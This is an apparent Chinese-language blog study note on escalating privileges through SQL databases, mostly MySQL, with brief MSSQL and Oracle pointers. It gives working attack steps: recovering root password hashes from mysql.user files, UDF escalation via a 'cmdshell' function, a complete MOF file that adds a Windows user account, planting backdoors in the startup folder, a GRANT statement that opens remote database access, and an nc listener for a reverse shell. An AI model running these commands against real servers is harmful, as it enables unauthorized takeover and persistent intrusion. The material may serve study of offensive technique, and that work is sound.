7.22-27MY&MS&ORA等SQL数据库提权

7.22-27MY&MS&ORA等SQL数据库提权

思路:在利用系统溢出漏洞无果情况下,可以采用数据库提权;

前提:数据库服务开启,且获得数据库最高权限账号密码;除Access数据库外,其他数据库基本都存在提权可能;

Mysql提权

思路: 服务探针-信息收集-提权利用-获取权限;

1、读取默认数据库配置文件;(了解其命名和查找规则)
sql data inc config conn database common include

2、读取数据库存储和备份文件(了解数据库存储格式及对应内容)

@@basedir/data/数据库名.表名.myd

思路:找到mysq'l安装路径下的,data文件夹中的user.MYD文件;

密码存储在mysql.user目录;

直接解密root密码,为root

3、利用脚本暴力破解(是否支持外联及如何开启外联

默认root不直接外联;
思路: 将爆破脚本传输上网站服务器;

4、远程本地暴力破解,服务器本地暴力破解

UDF提权(原理mysql调用系统命令函数)

首先:UDF(Userdefined function)是用户自定义函数

1.mysql<5.1,导出目录c:/windows/system32

2.mysql=>5.1,导出数据库安装目录/lib/plugin;存在于’mysql/lib/plugin’目录下,文件后缀为’.dll’

思路: 判断数据库版本,执行sql语句select version();,之后查看数据库安装目录,执行select @@basedir;

手工创建plugin目录或利用NTFS流创建
select 'x' into dumpfile '目录/lib/plugin::INDEX_ALLOCATION'

创建udf参数命令create function cmdshell returns string soname 'moonnudf.dll'

MOF提权(基于mysql特性)

原理: 利用mof是windows系统一个文件(在 f),托管对象格式;

1、将mof上传至任意可读可写目录下;

利用代码如下

1 #pragma namespace("\\\\.\\root\\subscription") 
2 instance of __EventFilter as $EventFilter 
3 { 
4 EventNamespace = "Root\\Cimv2"; 
5 Name = "filtP2"; 
6 Query = "Select * From __InstanceModificationEvent " 
7 "Where TargetInstance Isa \"Win32_LocalTime\" " 
8 "And TargetInstance.Second = 5"; 
9 QueryLanguage = "WQL"; 
10 }; 
11 instance of ActiveScriptEventConsumer as $Consumer 
12 { 
13 Name = "consPCSV2"; 
14 ScriptingEngine = "JScript"; 
15 ScriptText = 
16 "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")";  # 执行命令需修改
17 }; 
18 instance of __FilterToConsumerBinding 
19 { 
20 Consumer = $Consumer; 
21 Filter = $EventFilter; 
22 };

2.用sql语句将文件导入;

slelct load_file ('上传目录')into dumpfile 'C:/windows/system32/wbem/mof/nullevt.mof';

3、等待命令执行成功;

写入启动项(配合操作系统自启动)

win10启动项C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

导出自定义可执行文件到启动目录配置重启执行;
将创建好的后门或执行文件进行服务器启动项写入,配合重启执行;

启动项目录:C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup写入后门;
此时若要利用msf进行攻击写入后门提权则必须先开启数据库外联;

GRANT ALL PRIVILEGES ON *.* TO 'username'@'%' IDENTIFIED BY 'password' WITH GRANT OPTION; 其中username和password为账密

反弹shell(基于反弹特性命令)

思路:将数据库权限反弹至服务器中,监听服务器端口即可;
nc -l -p 5577

MSSQL提权,转至

[[2023.7.2-3-4Mssql xp_cmdshell提权]]

上述笔记包含 1.xp_cmdshell提权 和 2.sp_oacreate提权

3、沙盒提权

三、Oracle提权

jsp网站后门不需要提权,自带system

提权工具对应三种模式

1、普通用户

2、DBA用户

3、注入模式

posted @ 2024-07-27 20:34  路Sang  阅读(7)  评论(0编辑  收藏  举报